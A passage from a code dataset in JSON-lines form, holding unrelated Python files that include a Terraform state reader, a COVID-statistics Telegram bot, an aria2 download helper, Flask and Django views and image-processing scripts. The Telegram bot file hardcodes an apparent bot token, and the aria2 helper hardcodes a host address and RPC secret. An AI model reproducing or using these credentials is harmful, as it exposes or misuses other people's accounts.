mismatch\"\n\n\ndef test_embeddings_with_norms_oov(embeddings_fifu):\n assert embeddings_fifu.embedding_with_norm(\n \"Something out of vocabulary\") is None\n\n\ndef test_indexing(embeddings_fifu):\n assert embeddings_fifu[\"one\"] is not None\n with pytest.raises(KeyError):\n embeddings_fifu[\"Something out of vocabulary\"]\n\n\ndef test_embeddings_oov(embeddings_fifu):\n assert embeddings_fifu.embedding(\"Something out of vocabulary\") is None\n\n\ndef test_norms(embeddings_fifu):\n for embedding, norm in zip(\n embeddings_fifu, TEST_NORMS):\n assert pytest.approx(\n embedding.norm) == norm, \"Norm fails to match!\"\n","sub_path":"tests/test_embeddings.py","file_name":"test_embeddings.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"469372947","text":"import json\nimport os\nimport os.path\nimport requests\n\nimport boto3\nfrom botocore.exceptions import ClientError\n\nfrom deployfish.aws import get_boto3_session\n\n\nclass NoSuchStateFile(Exception):\n pass\n\n\nclass Terraform(dict):\n \"\"\"\n This class allows us to retrieve values from our terraform state file.\n \"\"\"\n\n def __init__(self, yml=None):\n self.load_yaml(yml)\n\n def _get_state_file_from_s3(self, state_file_url, full_config):\n if 'profile' in full_config:\n session = boto3.session.Session(\n profile_name=full_config['profile'],\n region_name=full_config.get('region', None),\n )\n else:\n session = get_boto3_session()\n s3 = session.resource('s3')\n parts = state_file_url[5:].split('/')\n bucket = parts[0]\n filename = \"/\".join(parts[1:])\n key = s3.Object(bucket, filename)\n try:\n state_file = key.get()[\"Body\"].read().decode('utf-8')\n except ClientError as ex:\n if ex.response['Error']['Code'] == 'NoSuchKey':\n raise NoSuchStateFile(\"Could not find Terraform state file {}\".format(\n state_file_url\n ))\n else:\n raise ex\n return json.loads(state_file)\n\n def _process_statefile(self, state_file_url, full_config):\n tfstate = self._get_state_file_from_s3(state_file_url, full_config)\n major, minor, patch = tfstate['terraform_version'].split('.')\n if int(minor) >= 12:\n for key, value in tfstate['outputs'].items():\n if key in self:\n print(\n 'Warning: key {key} already exists / is defined more than once! Overwriting...'.format(key=key)\n )\n self[key] = value\n else:\n for i in tfstate['modules']:\n if i['path'] == [u'root']:\n for key, value in i['outputs'].items():\n if key in self:\n print(\n 'Warning: key {key} already exists / is defined more than once! Overwriting...'.format(\n key=key\n )\n )\n self[key] = value\n\n def get_terraform_state(self, config):\n if isinstance(config, dict):\n self._process_statefile(config['statefile'], config)\n self.lookups = config['lookups']\n elif isinstance(config, list):\n self.lookups = {}\n for statefile in config:\n self._process_statefile(statefile['statefile'], statefile)\n self.lookups.update(statefile['lookups'])\n\n def load_yaml(self, yml):\n self.get_terraform_state(yml)\n\n def lookup(self, attr, keys):\n return self[self.lookups[attr].format(**keys)]['value']\n\n\nclass TerraformE(dict):\n\n def __init__(self, yml, api_token=None):\n if api_token is None:\n if 'ATLAS_TOKEN' in os.environ:\n self.api_token = os.getenv('ATLAS_TOKEN')\n else:\n print(\"No Terraform Enterprise API token provided!\")\n else:\n self.api_token = api_token\n\n self.organization = ''\n self.workspace = ''\n self.api_end_point = 'https://app.terraform.io/api/v2'\n\n self.load_yaml(yml)\n\n def load_yaml(self, yml):\n self.workspace = yml['workspace']\n self.organization = yml['organization']\n self.lookups = yml['lookups']\n self.list_state_versions()\n\n def list_state_versions(self):\n end_point = self.api_end_point + \"/state-versions?\"\n org_filter = \"filter[organization][name]=\" + self.organization\n workspace_filter = \"filter[workspace][name]=\" + self.workspace\n\n web_request = end_point + org_filter + \"&\" + workspace_filter\n\n headers = {'Authorization': 'Bearer ' + self.api_token,\n 'Content-Type': 'application/vnd.api+json'}\n response = requests.get(web_request, headers=headers)\n data = json.loads(response.text)\n state_download_url = data['data'][0]['attributes']['hosted-state-download-url']\n\n self.get_terraform_state(state_download_url)\n\n def get_terraform_state(self, state_download_url):\n response = requests.get(state_download_url)\n tfstate = json.loads(response.text)\n for i in tfstate['modules']:\n if i['path'] == [u'root']:\n for key, value in i['outputs'].items():\n self[key] = value\n\n def lookup(self, attr, keys):\n return self[self.lookups[attr].format(**keys)]['value']\n","sub_path":"deployfish/terraform.py","file_name":"terraform.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"377754483","text":"# Script for decrypting simple Xor multi-byte string with multi-byte key\n\nencrypted = bytearray('')\nkey = bytearray('')\ndecoded = bytearray()\n\nfor i in range(len(encrypted)):\n\tdecoded.append(encrypted[i] ^ key[i % len(key)])\n\nopen('decrypted','wb').write(decoded)\n","sub_path":"multi_byte_xor.py","file_name":"multi_byte_xor.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"561369330","text":"import os\nimport re\nfrom glob import glob\nimport numpy as np\nimport nibabel as ni\nfrom scipy.stats import kendalltau as kt\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\ndef stringSplitByNumbers(x):\n r = re.compile('(\\d+)')\n l = r.split(x)\n return [int(y) if y.isdigit() else y for y in l]\n\ndef maskcon_AB_spatcorr(con_path, con_type, roi_data):\n\tcorr = []\n\tA_cons = sorted(glob(os.path.join(con_path, 'afni-%s_A*'%con_type)), key = stringSplitByNumbers)\n\tB_cons = sorted(glob(os.path.join(con_path, 'afni-%s_B*'%con_type)), key = stringSplitByNumbers)\n\tfor val, con in enumerate(A_cons):\n\t\tA_data = ni.load(con).get_data()\n\t\tA_masked = A_data[roi_data]\n\t\tA_zscore = (A_masked - A_masked.mean()) / A_masked.std()\n\n\t\tB_data = ni.load(B_cons[val]).get_data()\n\t\tB_masked = B_data[roi_data]\n\t\tB_zscore = (B_masked - B_masked.mean()) / B_masked.std()\n\n\t\tAB_corr = kt(A_zscore, B_zscore)[0]\n\t\tcorr.append(AB_corr)\n\treturn corr\n\nsdir = '/home/jagust/fmri-pstask/subjects'\nsubjs = sorted(glob(os.path.join(sdir, 'B*')))\n\nfor subj in subjs:\n\troidir = os.path.join(subj, 'rois')\n\tif not os.path.isdir(roidir):\n\t\troidir = os.path.join(subj, 'dnp_rois')\n\trois = sorted(glob(os.path.join(roidir, 'templatesubfields_subjspace/warped_*')))\n\truns = sorted(glob(os.path.join(subj, 'run*/*spatcorr*')))\n\tfor run in runs:\n\t\tpth, _ = os.path.split(run)\n\t\t_, runnum = os.path.split(pth)\n\t\trunO_corr = []\n\t\trunL_corr = []\n\t\tfor roi in rois:\n\t\t\troi_data = ni.load(roi).get_data().astype(bool)\n\n\t\t\tO_corr = maskcon_AB_spatcorr(run, 'old', roi_data)\n\t\t\trunO_corr.append(O_corr)\n\n\t\t\tL_corr = maskcon_AB_spatcorr(run, 'lure', roi_data)\n\t\t\trunL_corr.append(L_corr)\n\n\t\trunO_df = pd.DataFrame(runO_corr).transpose().rename(\n\t\t\tcolumns = {0:'CA1', 1:'DGCA3', 2:'Ent', 3:'Peri'})\n\t\trunO_df.to_csv(os.path.join(run, '%s_old_corrs.csv'%runnum), index = None)\n\n\t\trunL_df = pd.DataFrame(runL_corr).transpose().rename(\n\t\t\tcolumns = {0:'CA1', 1:'DGCA3', 2:'Ent', 3:'Peri'})\n\t\trunL_df.to_csv(os.path.join(run, '%s_lure_corrs.csv'%runnum), index = None)\n","sub_path":"spatial_correlation_ERS.py","file_name":"spatial_correlation_ERS.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"105693386","text":"import aria2p\n\n# initialization, these are the default values\ndef login_aria2():\n aria2 = aria2p.API(\n aria2p.Client(\n host=\"http://192.168.1.2\",\n port=6800,\n secret=\"zyj\"\n )\n )\n return aria2 \n\n\ndef add_download_task(aria2,magnet_uri):\n# add downloads\n download = aria2.add_magnet(magnet_uri)\n print('Download task'+magnet_uri+' has been added ')\n\n\ndef print_download_task(aria2):\n# list downloads\n downloads = aria2.get_downloads()\n for download in downloads:\n print(download.name, download.download_speed)","sub_path":"aria2download.py","file_name":"aria2download.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"367713126","text":"import os\nfrom flask import Flask, request\nfrom mongoengine import *\nfrom controllers.userController import UserController\n\napp = Flask(__name__)\n\ntry:\n from env import os\nexcept:\n print('No env')\n\ntry:\n db = connect(host=os.environ.get('mongo_uri'))\nexcept:\n print('no db')\n\nuser_controller = UserController(db)\n\n@app.route('/')\ndef hello_world():\n return 'Hello, World!'\n\n@app.route('/start')\ndef start():\n return 'start point'\n\n@app.route('/users', methods = ['POST','GET'])\ndef get_users():\n if request.method == 'POST':\n response = user_controller.set_user()\n else:\n response = user_controller.get_users()\n return response\n","sub_path":"routes/landing.py","file_name":"landing.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"198742067","text":"#coding:utf-8\n\"\"\"\n@file: ce_udel\n@author: IsolationWyn\n@contact: genius_wz@aliyun.com\n@python: 3.5.2\n@editor: PyCharm\n@create: 2017/8/6 10:43\n@description:\n --\n\"\"\"\n#学者列表入口\nbase_url = 'http://www.ce.udel.edu/directories/faculty.html/'\n#特征训练示例学者入口\nsample_url = 'http://www.ce.udel.edu/directories/profiles.html?okine'\n#条目链接\nitem_url_rule = \"//tr/td/nobr/a/@href\"\n#个人简历规则\nbio_rule = None\nphone_rule = None\navatar_rule = \"//*[@id='content']/div[1]/img/@src\"\n#示例数据\ndata = {\n \"name\":\"Nii O. Attoh-Okine\",\n \"title\":\"Professor\",\n \"phone\":\"(302) 831-4532\",\n \"email\":\"okine@udel.edu\",\n }\n\n#组织名\norganization = \"UNIVERSITY of NOTRE DAME\"\n\n#主修专业\nmajor = \"CIVIL & ENVIRONMENTAL ENGINEERING\"\n\n","sub_path":"SampleData/ce_udel.py","file_name":"ce_udel.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"473133873","text":"import COVID19Py\r\nfrom telebot import types\r\nimport telebot\r\n\r\ncovid19 = COVID19Py.COVID19()\r\nbot = telebot.TeleBot('1453562215:AAEzET3P8qhTpWM9E7Zz-cFFq-SAKBzCXUs')\r\n\r\n\r\n@bot.message_handler(commands=['start'])\r\ndef start(message):\r\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\r\n item1 = types.KeyboardButton('Во всём мире')\r\n item2 = types.KeyboardButton('Украина')\r\n item3 = types.KeyboardButton('Россия')\r\n item4 = types.KeyboardButton('Беларусь')\r\n item5 = types.KeyboardButton('Италия')\r\n item7 = types.KeyboardButton('Франция')\r\n item8 = types.KeyboardButton('Германия')\r\n item9 = types.KeyboardButton('Япония')\r\n item10 = types.KeyboardButton('США')\r\n item11 = types.KeyboardButton('Турция')\r\n markup.add(item1, item2, item3, item4, item5, item7, item8, item9, item10, item11)\r\n\r\n send_message = f\"Пиривет, {message.from_user.first_name}!\\nХочешь узнать статистику по короне, тогда напиши \" \\\r\n f\"название страны, например: США, Украина, Россия и так далее.\"\r\n\r\n bot.send_message(message.chat.id, send_message, parse_mode='html', reply_markup=markup)\r\n\r\n\r\n@bot.message_handler(content_types=['text'])\r\ndef mess(message):\r\n final_message = \"\"\r\n get_message_bot = message.text.strip().lower()\r\n if get_message_bot == \"сша\":\r\n location = covid19.getLocationByCountryCode(\"US\")\r\n photo = open('C:\\Flagi/США.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n elif get_message_bot == \"украина\":\r\n location = covid19.getLocationByCountryCode(\"UA\")\r\n photo = open('C:\\Flagi/Украина.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n elif get_message_bot == \"россия\":\r\n location = covid19.getLocationByCountryCode(\"RU\")\r\n photo = open('C:\\Flagi/Россия.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n elif get_message_bot == \"беларусь\":\r\n location = covid19.getLocationByCountryCode(\"BY\")\r\n photo = open('C:\\Flagi/www.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n elif get_message_bot == \"италия\":\r\n location = covid19.getLocationByCountryCode(\"IT\")\r\n photo = open('C:\\Flagi/Италия.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n elif get_message_bot == \"франция\":\r\n location = covid19.getLocationByCountryCode(\"FR\")\r\n photo = open('C:\\Flagi/Франция.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n elif get_message_bot == \"германия\":\r\n location = covid19.getLocationByCountryCode(\"DE\")\r\n photo = open('C:\\Flagi/Германия.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n elif get_message_bot == \"япония\":\r\n location = covid19.getLocationByCountryCode(\"JP\")\r\n photo = open('C:\\Flagi/Япония.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n elif get_message_bot == \"турция\":\r\n location = covid19.getLocationByCountryCode(\"TR\")\r\n photo = open('C:\\Flagi/Турция.jpg', 'rb')\r\n bot.send_photo(message.chat.id, photo)\r\n else:\r\n location = covid19.getLatest()\r\n final_message = f\"Данные по всему миру:\\nЗаразились короной: {location['confirmed']:,}\\nПогибло: {location['deaths']:,}\"\r\n\r\n\r\n if final_message == \"\":\r\n date = location[0]['last_updated'].split(\"T\")\r\n time = date[1].split(\".\")\r\n final_message = f\"Данные по стране:\\nЖивёт в стране: {location[0]['country_population']:,}\\n\" \\\r\n f\"Последнее обновление: {date[0]} {time[0]}\\nПоследние новости:\\n\" \\\r\n f\"Заразились короной: {location[0]['latest']['confirmed']:,}\\nПогибло: \" \\\r\n f\"{location[0]['latest']['deaths']:,}\"\r\n\r\n\r\n bot.send_message(message.chat.id, final_message, parse_mode='html')\r\n\r\nbot.polling(none_stop=True)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"31362175","text":"import glob\nimport numpy as np\nimport cv2\nimport math\nimport matplotlib.pyplot as plt\n\ndef find_contours(thresh):\n img2, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n centers = []\n contoursList = []\n counter = 0\n\n for i in range(np.shape(contours)[0]):\n cnt = contours[i]\n M = cv2.moments(cnt)\n\n if M[\"m00\"] != 0:\n cx = int(M[\"m10\"] / M[\"m00\"])\n cy = int(M[\"m01\"] / M[\"m00\"])\n else:\n cx, cy = 0, 0\n\n if (cx >= 2218 or cx <= 240) and (680 <= cy <= 2946):\n if 3200.0 <= cv2.contourArea(contours[i]) <= 3800.0 or 248.0 <= cv2.arcLength(contours[i], True) <= 265.0:\n contoursList.append(contours[i])\n counter += 1\n centers.append([cx, cy])\n \n return centers\n\ndef warp_transform(img, centers):\n if centers[29][0] - centers[1][0] != 0 and centers[28][0] - centers[0][0] != 0:\n left_deg = (centers[29][1] - centers[1][1]) / (centers[29][0] - centers[1][0])\n right_deg = (centers[28][1] - centers[0][1]) / (centers[28][0] - centers[0][0])\n\n ratio = 80\n\n avr_deg = (left_deg + right_deg) / 2\n \n \n new_top_left = [int(np.floor(centers[29][0] + abs(math.cos(math.atan(avr_deg)) * ratio))), \n int(np.floor(centers[29][1] - abs(math.sin(math.atan(avr_deg)) * ratio)))]\n\n new_top_right = [int(np.ceil(centers[28][0] + abs(math.cos(math.atan(avr_deg)) * ratio))), \n int(np.floor(centers[28][1] - abs(math.sin(math.atan(avr_deg)) * ratio)))]\n\n new_bottom_left = [int(np.floor(centers[1][0] - abs(math.cos(math.atan(avr_deg)) * ratio))), \n int(np.ceil(centers[1][1] + abs(math.sin(math.atan(avr_deg)) * ratio)))]\n\n new_bottom_right = [int(np.ceil(centers[0][0] - abs(math.cos(math.atan(avr_deg)) * ratio))), \n int(np.ceil(centers[0][1] + abs(math.sin(math.atan(avr_deg)) * ratio)))]\n\n\n max_x = int(np.ceil(max(math.sqrt((new_bottom_right[0] - new_bottom_left[0]) ** 2 + (new_bottom_right[1] - new_bottom_left[1]) ** 2),\n math.sqrt((new_top_left[0] - new_top_right[0]) ** 2 + (new_top_left[1] - new_top_right[1]) ** 2))))\n\n max_y = int(np.ceil(max(math.sqrt((new_top_left[0] - new_bottom_left[0]) ** 2 + (new_top_left[1] - new_bottom_left[1]) ** 2), \n math.sqrt((new_bottom_right[0] - new_top_right[0]) ** 2 + (new_top_right[1] - new_bottom_right[1]) ** 2))))\n\n points_A = np.float32([new_top_left, new_top_right, new_bottom_left, new_bottom_right])\n\n points_B = np.float32([[0,0], [max_x,0], [0,max_y], [max_x,max_y]])\n\n M = cv2.getPerspectiveTransform(points_A, points_B)\n \n return True, cv2.warpPerspective(img, M, (max_x, max_y))\n \n else:\n return False, np.zeros(img.shape, dtype='uint8')\n \n \ndef crop_digits(warped):\n cropped_arr = []\n for crop in range (0, 15):\n if crop == 0:\n temp = warped[2 + (crop * 145):2 + ((crop + 1) * 145), 800:1400] \n else:\n temp = warped[2 + (8 * crop) + (crop * 145):2 + (8 * crop) + (crop + 1) * 145, 800:1400]\n \n for dig in range (0, 5):\n if dig < 3:\n cropped_arr.append(temp[15:-15, ((10 * (dig + 1))) + (dig * 100):((dig + 1) * 100) + (10 * (dig + 1))])\n else:\n cropped_arr.append(temp[15:-15:, 35 + ((10 * (dig + 1))) + (dig * 100):35 + ((dig + 1) * 100) + (10 * (dig + 1))])\n \n return cropped_arr\n\n\ndef turn_to_binary(img):\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ret, thresh = cv2.threshold(gray, 200, 255, 0)\n return thresh\n\ndef rotate_img(img, thresh):\n rotation_matrix = cv2.getRotationMatrix2D((thresh.shape[1]/2, thresh.shape[0]/2), 180, 1)\n second_thresh = cv2.warpAffine(thresh, rotation_matrix, (thresh.shape[1], thresh.shape[0]))\n \n rotation_matrix = cv2.getRotationMatrix2D((img.shape[1]/2, img.shape[0]/2), 180, 1)\n second_img = cv2.warpAffine(img, rotation_matrix, (img.shape[1], img.shape[0]))\n \n return second_img, second_thresh\n\n\ndef main():\n img_path = \"/home/bardia/Documents/University/Seventh Semester/Principles of Computational Intelligence/DigitDetection/Forms/form7/00000013.jpg\"\n img = cv2.imread(img_path, 1)\n cropped_arr = []\n \n thresh = turn_to_binary(img) \n centers = find_contours(thresh)\n \n if len(centers) != 30:\n img, thresh = rotate_img(img, thresh)\n centers = find_contours(thresh)\n \n if len(centers) == 30:\n flag, warped = warp_transform(img, centers)\n if (flag == False):\n print('Zero denominator for warped image')\n else:\n cropped_arr = crop_digits(warped)\n else:\n print(\"Number of contours is not equivalent to 30\")\n \n\n \nmain()","sub_path":"ML-digitRecognition/contour_warp_crop.py","file_name":"contour_warp_crop.py","file_ext":"py","file_size_in_byte":5059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"497213076","text":"\nfrom bs4 import BeautifulSoup\nimport warc\nimport lxml\nfrom time import time\nimport wget\nurl = 'https://commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2019-13/segments/1552912201922.85/robotstxt/CC-MAIN-20190319073140-20190319095029-00063.warc.gz'\nfilename = wget.download(url)\nurls=[]\ndocs=[]\n\ndef read_doc(record):\n url = record.url\n urls.append(url)\n print(url)\n text = 'start'\n return url, text\n\ndef process_warc(file_name, limit=100000):\n warc_file =warc.open(file_name, 'rb')\n t0 = time()\n n_documents = 0\n with open(\"commonCrawlAllUrls.txt\", \"a\") as myfile:\n for i, record in enumerate(warc_file):\n url, doc = read_doc(record)\n\n n_documents += 1\n\n if i > limit:\n break\n\n warc_file.close()\n print('Parsing took %s seconds and produced %s documents\\n' % (time() - t0, n_documents))\n\nfile_name = \"CC-MAIN-20190319073140-20190319095029-00063.warc.gz\"\nprocess_warc(file_name, 100000)\n\nfor i in docs:\n i.encode('UTF-8')\n print(i)\n\n\nlen(urls)\nurls[0]='start'\nkeywords=['basketball', 'nba', 'NBA', 'NCAA Championship','NCAA',\n 'Tennis','ATP', 'WTA', 'Nadal'\n 'golf', 'PGA Tour', 'pgatour', \n 'cricket', 'ipl','IPL', 'iplt20', \n 'UFC',\n 'NFL', 'football']\n\nwith open(\"commonCrawlFilteredUrls.txt\", \"a\") as myfile:\n for i in urls:\n if any(x in i for x in keywords):\n myfile.write('\\n'+i)\n","sub_path":"part1/Code/CommonCrawlGet.py","file_name":"CommonCrawlGet.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"278348360","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 13 16:04:11 2019\n\n@author: moon\n\"\"\"\n\nimport os\n\ni = 0\nwhile True:\n vidCap = 'mldb -d -w capture video -t 3 rectest%d.mp4'%i\n os.system(vidCap)\n print('recording %d made'%i)\n i += 1\n if i > 1:\n break\n\n","sub_path":"testvidrec.py","file_name":"testvidrec.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"528278965","text":"# -*- encoding: utf-8 -*-\n\"\"\"\nCopyright (c) 2019 - present AppSeed.us\n\"\"\"\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.template import loader\nfrom django.http import HttpResponse\nfrom django import template\nfrom app import models\nfrom app.forms import MemberInfoForm\nfrom django.http import HttpResponseRedirect\n\n@login_required(login_url=\"/login/\")\ndef index(request):\n \n context = {}\n context['segment'] = 'index'\n\n html_template = loader.get_template( 'index.html' )\n return HttpResponse(html_template.render(context, request))\n\n@login_required(login_url=\"/login/\")\ndef pages(request):\n context = {}\n # All resource paths end in .html.\n # Pick out the html file name from the url. And load that template.\n # try:\n \n load_template = request.path.split('/')[-1]\n # context['segment'] = load_template\n\n if 'member_table' in load_template:\n context['membersinfo'] = models.MemberInfo.objects.all()\n load_template = 'ui-tables.html'\n\n if 'add_members' in load_template:\n load_template = 'ui-forms.html'\n #custom membermodel\n context['member_form'] = MemberInfoForm\n if request.method == 'POST':\n memberform = MemberInfoForm(request.POST)\n if memberform.is_valid():\n memberform.save()\n return HttpResponseRedirect('index.html')\n else:\n memberform = MemberInfoForm()\n\n html_template = loader.get_template(load_template)\n return HttpResponse(html_template.render(context, request))\n \n # except template.TemplateDoesNotExist:\n #\n # html_template = loader.get_template( 'page-404.html' )\n # return HttpResponse(html_template.render(context, request))\n\n # except :\n #\n # html_template = loader.get_template( 'page-500.html' )\n # return HttpResponse(html_template.render(context, request))\n\n# def member_table (request):\n# context = {}\n#\n# load_template = request.path.split('/')[-1]\n# context['segment'] = load_template\n# html_template = loader.get_template('ui-tables.html')\n# return HttpResponse(html_template.render(context, request))","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"194466900","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ndef flatten(xs):\n ret = []\n for x in xs:\n if isinstance(x, list):\n ret.extend(flatten(x))\n else:\n ret.append(x)\n return ret\n\n\ndef words_in(words, xs):\n indexes = []\n for w in words:\n if w not in xs:\n return False\n indexes.append(xs.index(w))\n for i in range(len(indexes) - 1):\n if indexes[i + 1] - indexes[i] != 1:\n return False\n return True\n","sub_path":"ddl2erd/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"160093076","text":"#!/usr/bin/env python2\n\nfrom PyQt4 import QtGui, QtCore\nfrom PyQt4.QtCore import Qt\n\nimport numpy as np\n\nfrom CursorRect import CursorRect\n\nfrom viridis import viridis as cmap\n\n\nclass ProbeMap128_CM1(QtGui.QLabel):\n\n dragAndDropAccepted = QtCore.pyqtSignal(int, int, int)\n\n def __init__(self, height, img):\n QtGui.QLabel.__init__(self)\n\n self.setFrameStyle(QtGui.QFrame.StyledPanel)\n self.setStyleSheet(\"background-color: #000000\")\n\n # load our background image\n self.pixmap = QtGui.QPixmap(img)\n\n # store original dimensions\n self._w = float(self.pixmap.size().width())\n self._h = float(self.pixmap.size().height())\n\n # set our widget size\n self.setFixedHeight(height)\n self.setFixedWidth(self.widthForHeight(height * 1.5))\n\n # scale pixmap to widget\n self.scaled_pixmap = self.pixmap.scaled(self.size(), Qt.KeepAspectRatio,\n transformMode=Qt.SmoothTransformation)\n\n # set widget aspect ratio\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred,\n QtGui.QSizePolicy.Preferred)\n sizePolicy.setHeightForWidth(True)\n self.setSizePolicy(sizePolicy)\n\n # magic numbers, taken empirically from image for sake of this specific script\n self.x_offset = int(340 / self._w * self.scaled_pixmap.width())\n self.dx = int(32 / self._w * self.scaled_pixmap.width())\n self.y_offset = int(100 / self._h * self.scaled_pixmap.height())\n self.dy = int(32 / self._h * self.scaled_pixmap.height())\n\n self.widget_x_offset = (self.size().width() - self.scaled_pixmap.width()) / 2\n\n # initialize cursor at first index\n self.cursor = CursorRect(\n self.size().width() / 2,\n self.y_offset + 1.5 * self.dy,\n int(self.size().width() * .9),\n int(self.size().height() * .047),\n 1)\n self.index = (0, 0)\n\n # define probe pad geometery\n self.cols = 2\n self.rows = 64\n\n # create array of pad intensities\n self.activity = np.zeros((self.rows, self.cols))\n\n # create array of cursors to make glow\n self.pads = []\n\n # allocate positions\n for row in range(self.rows):\n for col in range(self.cols):\n self.pads.append(\n CursorRect(\n self.widget_x_offset + self.x_offset + 2 * self.dx * col + (row & 1) * self.dx - self.dx / 2, # center x\n self.y_offset + self.dy * row, # center y\n self.dx, # width\n self.dy, # height\n 1)) # corner rounding\n\n def setActivity(self, activity):\n self.activity = activity\n self.repaint()\n\n def increment(self):\n if self.index[1] < self.rows - 4:\n self.index = (0, self.index[1] + 1)\n self.set_index(*self.index)\n self.dragAndDropAccepted.emit(0, self.index[1], 0)\n\n def decrement(self):\n if self.index[1] > 0:\n self.index = (0, self.index[1] - 1)\n self.set_index(*self.index)\n self.dragAndDropAccepted.emit(0, self.index[1], 0)\n\n def set_position(self, x, y):\n x_index, y_index = self.position_to_index(x, y)\n\n # get array index from pixel position\n new_x, new_y = self.index_to_position(x_index, y_index)\n\n self.cursor.move(new_x, new_y + 1.5 * self.dy)\n self.repaint()\n\n shank = 0\n row = y_index\n col = x_index\n self.dragAndDropAccepted.emit(shank, row, col)\n self.index = (x_index, y_index)\n\n def set_index(self, x, y):\n new_x, new_y = self.index_to_position(x, y)\n\n self.cursor.move(new_x, new_y + 1.5 * self.dy)\n self.repaint()\n\n shank = 0\n row = y\n col = 0\n self.dragAndDropAccepted.emit(shank, row, col)\n self.index = (x, y)\n\n def position_to_index(self, pos_x, pos_y):\n x_index = 0\n y_index = ((pos_y + self.dy) - self.y_offset - self.cursor.h / 2) / self.dy\n\n # sanitize y\n if y_index < 0:\n y_index = 0\n if y_index > self.rows - 4:\n y_index = self.rows - 4\n\n return (x_index, y_index)\n\n def index_to_position(self, ind_x, ind_y):\n # get array index from pixel position\n new_x = self.size().width() / 2\n new_y = (ind_y * self.dy) + self.y_offset\n\n # sanitize y position\n if new_y < (0 * self.dy) + self.y_offset:\n new_y = (0 * self.dy) + self.y_offset\n if new_y > ((self.rows - 4) * self.dy) + self.y_offset:\n new_y = ((self.rows - 4) * self.dy) + self.y_offset\n\n return (new_x, new_y)\n\n def paintEvent(self, event):\n painter = QtGui.QPainter(self)\n pen = painter.pen()\n pen.setStyle(Qt.NoPen)\n painter.setPen(pen)\n\n # draw image centrally in the widget\n point = QtCore.QPoint(0,0)\n point.setX((self.size().width() - self.scaled_pixmap.width())/2)\n point.setY((self.size().height() - self.scaled_pixmap.height())/2)\n painter.drawPixmap(point, self.scaled_pixmap)\n\n for row in range(self.rows):\n for col in range(self.cols):\n brush = QtGui.QBrush(QtGui.QColor(*tuple(cmap(self.activity[row, col]))))\n painter.setBrush(brush)\n painter.drawRoundedRect(*self.pads[self.cols * row + col].params(), mode=Qt.RelativeSize)\n\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 64))\n painter.setBrush(brush)\n pen = painter.pen()\n pen.setStyle(Qt.SolidLine)\n painter.setPen(pen)\n painter.drawRoundedRect(*self.cursor.params(), mode=Qt.RelativeSize)\n\n def mousePressEvent(self, event):\n self.moved = False\n if event.button() == QtCore.Qt.LeftButton:\n # center the cursor on the mouse\n self.cursor.move(event.pos().x() , event.pos().y())\n\n self.moved = True\n self.repaint()\n\n def mouseMoveEvent(self, event):\n if self.moved:\n # center cursor\n self.cursor.move(event.pos().x(), event.pos().y())\n self.repaint()\n\n def mouseReleaseEvent(self, event):\n if self.moved:\n self.set_position(event.pos().x(), event.pos().y())\n self.moved = False\n\n def widthForHeight(self, height):\n return int((self._w / self._h) * height)\n","sub_path":"WDX_128_CM1/ProbeMap128_CM1.py","file_name":"ProbeMap128_CM1.py","file_ext":"py","file_size_in_byte":6736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"289822502","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ntry:\n from setuptools import setup, find_packages\nexcept ImportError:\n from distutils.core import setup\n\n\nwith open('README.md') as readme_file:\n readme = readme_file.read()\n\ninstall_requireent = []\n\nsetup_requires = [\n 'pymysql',\n 'pandas',\n 